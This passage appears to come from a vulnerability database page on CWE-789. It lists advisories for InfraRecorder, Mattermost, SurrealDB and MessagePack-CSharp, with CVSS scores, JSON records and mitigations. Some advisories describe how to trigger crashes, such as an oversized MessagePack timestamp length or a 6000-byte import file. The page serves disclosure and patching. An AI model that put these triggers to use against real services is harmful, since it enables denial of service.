  "id": "GHSA-2q9g-8573-3265",
  "modified": "2026-06-30T18:31:36Z",
  "published": "2026-06-30T12:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53916"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/07hjsj88hqgsb7vvg6ttsj56ts9vjs5n"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/29/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2XWV-QH99-36JQ

Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details

InfraRecorder 0.53 contains a denial of service vulnerability that allows local attackers to crash the application by importing a maliciously crafted text file. Attackers can create a text file containing 6000 bytes of data and import it through the Edit menu's Import function to trigger an application crash.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-25274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-26T22:17:27Z",
    "severity": "MODERATE"
  },
  "details": "InfraRecorder 0.53 contains a denial of service vulnerability that allows local attackers to crash the application by importing a maliciously crafted text file. Attackers can create a text file containing 6000 bytes of data and import it through the Edit menu\u0027s Import function to trigger an application crash.",
  "id": "GHSA-2xwv-qh99-36jq",
  "modified": "2026-04-27T00:30:25Z",
  "published": "2026-04-27T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25274"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45413"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/infrarecorder-denial-of-service-via-txt-file-import"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-34G8-9FPP-46CH

Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-17 20:01
VLAI
Summary
Mattermost fails to limit the size of responses from integration action endpoints
Details

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button. Mattermost Advisory ID: MMSA-2026-00571

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20260127165411-fe3052073dc6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20260127165411-fe3052073dc6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0-rc1"
            },
            {
              "fixed": "10.11.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.2.0-rc1"
            },
            {
              "fixed": "11.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0-rc1"
            },
            {
              "fixed": "11.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T20:01:22Z",
    "nvd_published_at": "2026-03-16T14:19:29Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.3.x \u003c= 11.3.0, 11.2.x \u003c= 11.2.2, 10.11.x \u003c= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button. Mattermost Advisory ID: MMSA-2026-00571",
  "id": "GHSA-34g8-9fpp-46ch",
  "modified": "2026-03-17T20:01:22Z",
  "published": "2026-03-16T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost fails to limit the size of responses from integration action endpoints"
}

GHSA-3633-G6MG-P6QQ

Vulnerability from github – Published: 2025-04-11 14:08 – Updated: 2025-04-11 14:08
VLAI
Summary
SurrealDB memory exhaustion via string::replace using regex
Details

An authenticated user can craft a query using the string::replace function that uses a Regex to perform a string replacement. As there is a failure to restrict the resulting string length, this enables an attacker to send a string::replace function to the SurrealDB server exhausting all the memory of the server due to string allocations. This eventually results in a Denial-of-Service situation for the SurrealDB server.

This issue was discovered and patched during an code audit and penetration test of SurrealDB by cure53. Using CVSSv4 definitions, the severity is High.

Impact

An authenticated user can crash the SurrealDB instance through memory exhaustion

Patches

A patch has been created that enforces a limit on string length SURREAL_GENERATION_ALLOCATION_LIMIT

  • Versions 2.0.5, 2.1.5, 2.2.2, and later are not affected by this issue

Workarounds

Affected users who are unable to update may want to limit the ability of untrusted clients to run the string::replace function in the affected versions of SurrealDB using the --deny-functions flag described within Capabilities or the equivalent SURREAL_CAPS_DENY_FUNC environment variable.

References

SurrealQL Documentation - DB Functions (string::replace) SurrealDB Documentation - Capabilities SurrealDB Documentation - Environment Variables #5619 #5638

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-11T14:08:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "An authenticated user can craft a query using the `string::replace` function that uses a Regex to perform a string replacement. As there is a failure to restrict the resulting string length, this enables an attacker to send a `string::replace` function to the SurrealDB server exhausting all the memory of the server due to string allocations. This eventually results in a Denial-of-Service situation for the SurrealDB server.\n\nThis issue was discovered and patched during an code audit and penetration test of SurrealDB by cure53. Using CVSSv4 definitions, the severity is High. \n\n### Impact\nAn authenticated user can crash the SurrealDB instance through memory exhaustion\n\n### Patches\nA patch has been created that enforces a limit on string length  `SURREAL_GENERATION_ALLOCATION_LIMIT`\n\n- Versions 2.0.5, 2.1.5, 2.2.2, and later are not affected by this issue\n\n### Workarounds\nAffected users who are unable to update may want to limit the ability of untrusted clients to run the `string::replace` function in the affected versions of SurrealDB using the `--deny-functions` flag described within [Capabilities](https://surrealdb.com/docs/surrealdb/security/capabilities#functions) or the equivalent `SURREAL_CAPS_DENY_FUNC` environment variable.\n\n### References\n\n[SurrealQL Documentation - DB Functions (string::replace)](https://surrealdb.com/docs/surrealql/functions/database/string#stringreplace)\n[SurrealDB Documentation - Capabilities](https://surrealdb.com/docs/surrealdb/security/capabilities#functions)\n[SurrealDB Documentation - Environment Variables](https://surrealdb.com/docs/surrealdb/cli/env)\n[#5619 ](https://github.com/surrealdb/surrealdb/pull/5619)\n[#5638 ](https://github.com/surrealdb/surrealdb/pull/5638)",
  "id": "GHSA-3633-g6mg-p6qq",
  "modified": "2025-04-11T14:08:03Z",
  "published": "2025-04-11T14:08:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-3633-g6mg-p6qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/5619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/5638"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SurrealDB memory exhaustion via string::replace using regex "
}

GHSA-382J-8MXH-C7X2

Vulnerability from github – Published: 2026-06-25 18:35 – Updated: 2026-06-25 18:35
VLAI
Summary
MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows
Details

Summary

MessagePackReader.ReadDateTime() can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed tokenSize includes the extension body length from the wire and is used in a stackalloc operation before the extension length is validated as one of the valid timestamp sizes.

A very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable StackOverflowException, terminating the host process.

Impact

Applications are affected when they deserialize untrusted payloads into types containing DateTime values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.

MessagePackSecurity.UntrustedData and MaximumObjectGraphDepth do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.

An attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.

Affected components

  • Package: MessagePack
  • API: MessagePackReader.ReadDateTime
  • Data types: DateTime and formatter paths that call ReadDateTime
  • Finding IDs: MESSAGEPACKCSHARP-020, related stack allocation finding MESSAGEPACKCSHARP-CROW-MEM-001

Patches

Fixes are prepared and will be released in coordinated patch versions.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.

Workarounds

Patching is recommended.

Until a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain DateTime or DateTimeOffset values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.

There is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.

Resources

  • MESSAGEPACKCSHARP-020: ReadDateTime stack allocation from attacker-controlled extension length
  • MESSAGEPACKCSHARP-CROW-MEM-001: related attacker-controlled stack allocation finding in MessagePackReader
  • CWE-770: Allocation of Resources Without Limits or Throttling

CVE split rationale

This vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-125",
      "CWE-190",
      "CWE-407",
      "CWE-409",
      "CWE-470",
      "CWE-502",
      "CWE-674",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:35:48Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`MessagePackReader.ReadDateTime()` can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed `tokenSize` includes the extension body length from the wire and is used in a `stackalloc` operation before the extension length is validated as one of the valid timestamp sizes.\n\nA very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable `StackOverflowException`, terminating the host process.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into types containing `DateTime` values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.\n\n`MessagePackSecurity.UntrustedData` and `MaximumObjectGraphDepth` do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.\n\nAn attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `MessagePackReader.ReadDateTime`\n- Data types: `DateTime` and formatter paths that call `ReadDateTime`\n- Finding IDs: `MESSAGEPACKCSHARP-020`, related stack allocation finding `MESSAGEPACKCSHARP-CROW-MEM-001`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain `DateTime` or `DateTimeOffset` values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.\n\nThere is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-020`: `ReadDateTime` stack allocation from attacker-controlled extension length\n- `MESSAGEPACKCSHARP-CROW-MEM-001`: related attacker-controlled stack allocation finding in `MessagePackReader`\n- CWE-770: Allocation of Resources Without Limits or Throttling\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.",
  "id": "GHSA-382j-8mxh-c7x2",
  "modified": "2026-06-25T18:35:48Z",
  "published": "2026-06-25T18:35:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-382j-8mxh-c7x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows"
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list